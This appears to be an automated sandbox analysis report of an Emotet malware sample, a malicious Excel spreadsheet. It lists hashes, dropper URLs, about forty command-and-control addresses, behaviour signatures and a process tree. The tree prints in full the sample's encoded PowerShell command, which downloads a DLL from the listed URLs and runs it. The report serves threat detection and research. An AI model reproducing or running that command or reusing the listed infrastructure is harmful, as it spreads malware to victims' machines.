emotet | 4199abd737ed72b7b224e6a30648ec00a0afcf927860c80a3bc2fa9043c24ec5

Analysis

max time kernel
123s
max time network
158s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:59

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General

Target
tmperux60y7.xls
Size 144KB
Sample220125-te4t8saden
SHA256 4199abd737ed72b7b224e6a30648ec00a0afcf927860c80a3bc2fa9043c24ec5
MD5 f12c7c60310b0d30f44787755ec2935e
SHA1 e03e9a16cad9b259f32182531e829dfdd338f2bd
SHA512 8cd5d78f146e35d94525c20b5888ddbc07812f38e47521f621690fb020d8e4267e21032ad5adc5d633c724df142408da613945a63c69d1ea8972d9c8352d2035
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
exe.dropper
https://100lamp.com.ua:443/sale/a/
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family

emotet

Botnet

Epoch4

51.77.82.125:443
69.197.160.180:8080
103.75.201.2:443
173.212.193.249:8080
45.118.135.203:7080
45.118.115.99:8080
162.243.175.63:443
192.254.71.210:443
50.116.54.215:443
51.38.71.0:443
138.185.72.26:8080
131.100.24.231:80
212.237.5.209:443
209.59.138.75:7080
176.104.106.96:8080
107.182.225.142:8080
45.142.114.231:8080
212.237.56.116:7080
207.38.84.195:8080
158.69.222.101:443
104.251.214.46:8080
104.168.155.129:8080
46.55.222.11:443
103.8.26.102:8080
58.227.42.236:80
164.68.99.3:8080
203.114.109.124:443
216.158.226.206:443
178.63.25.185:443
103.8.26.103:8080
195.154.133.20:443
45.176.232.124:443
41.76.108.46:8080
81.0.236.90:443
178.79.147.66:8080
212.24.98.99:8080
217.182.143.207:443
110.232.117.186:8080
162.214.50.39:7080
212.237.17.99:8080
185.157.82.211:8080
79.172.212.216:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3564	68	cmd.exe	66

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
40	1184	powershell.exe
45	1660	rundll32.exe
47	1660	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
876	rundll32.exe
1456	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Stntoucewcuxl\hlziwfb.rcn	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
68	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1184	powershell.exe
1184	powershell.exe
1184	powershell.exe
1660	rundll32.exe
1660	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE
68	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 68 wrote to memory of 3564	68	EXCEL.EXE	72
PID 68 wrote to memory of 3564	68	EXCEL.EXE	72
PID 3564 wrote to memory of 1184	3564	cmd.exe	74
PID 3564 wrote to memory of 1184	3564	cmd.exe	74
PID 1184 wrote to memory of 876	1184	powershell.exe	75
PID 1184 wrote to memory of 876	1184	powershell.exe	75
PID 1184 wrote to memory of 876	1184	powershell.exe	75
PID 876 wrote to memory of 1456	876	rundll32.exe	78
PID 876 wrote to memory of 1456	876	rundll32.exe	78
PID 876 wrote to memory of 1456	876	rundll32.exe	78
PID 1456 wrote to memory of 1464	1456	rundll32.exe	79
PID 1456 wrote to memory of 1464	1456	rundll32.exe	79
PID 1456 wrote to memory of 1464	1456	rundll32.exe	79
PID 1464 wrote to memory of 1660	1464	rundll32.exe	80
PID 1464 wrote to memory of 1660	1464	rundll32.exe	80
PID 1464 wrote to memory of 1660	1464	rundll32.exe	80

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmperux60y7.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:68
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\1282427749.dll,f1854321180
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:876
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\1282427749.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1456
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Stntoucewcuxl\hlziwfb.rcn",NBOHLIH
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1464
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Stntoucewcuxl\hlziwfb.rcn",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1660

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/68-122-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Download

memory/68-131-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

Download

memory/68-132-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

Download

memory/68-273-0x000001695B190000-0x000001695B194000-memory.dmp

Download

memory/68-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Download

memory/68-403-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Download

memory/68-402-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/68-401-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Download

memory/68-400-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/68-120-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/68-121-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Download

memory/68-119-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Download

memory/876-329-0x0000000004AF1000-0x0000000004B12000-memory.dmp

Download

memory/1184-314-0x0000022D51686000-0x0000022D51688000-memory.dmp

Download

memory/1184-298-0x0000022D69880000-0x0000022D698A2000-memory.dmp

Download

memory/1184-301-0x0000022D51680000-0x0000022D51682000-memory.dmp

Download

memory/1184-302-0x0000022D51683000-0x0000022D51685000-memory.dmp

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memory/1184-303-0x0000022D69A30000-0x0000022D69AA6000-memory.dmp

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memory/1456-345-0x0000000004E50000-0x0000000004E75000-memory.dmp

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memory/1456-343-0x0000000004CB0000-0x0000000004CD5000-memory.dmp

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memory/1456-341-0x0000000004C50000-0x0000000004C75000-memory.dmp

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memory/1456-339-0x0000000004BF0000-0x0000000004C15000-memory.dmp

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memory/1456-335-0x0000000004880000-0x00000000048A5000-memory.dmp

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memory/1456-332-0x0000000004380000-0x00000000043A5000-memory.dmp

Download

memory/1464-346-0x0000000004610000-0x0000000004635000-memory.dmp

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memory/1660-348-0x0000000002D90000-0x0000000002DB5000-memory.dmp

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memory/1660-351-0x0000000004C00000-0x0000000004C25000-memory.dmp

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memory/1660-353-0x0000000004CE0000-0x0000000004D05000-memory.dmp

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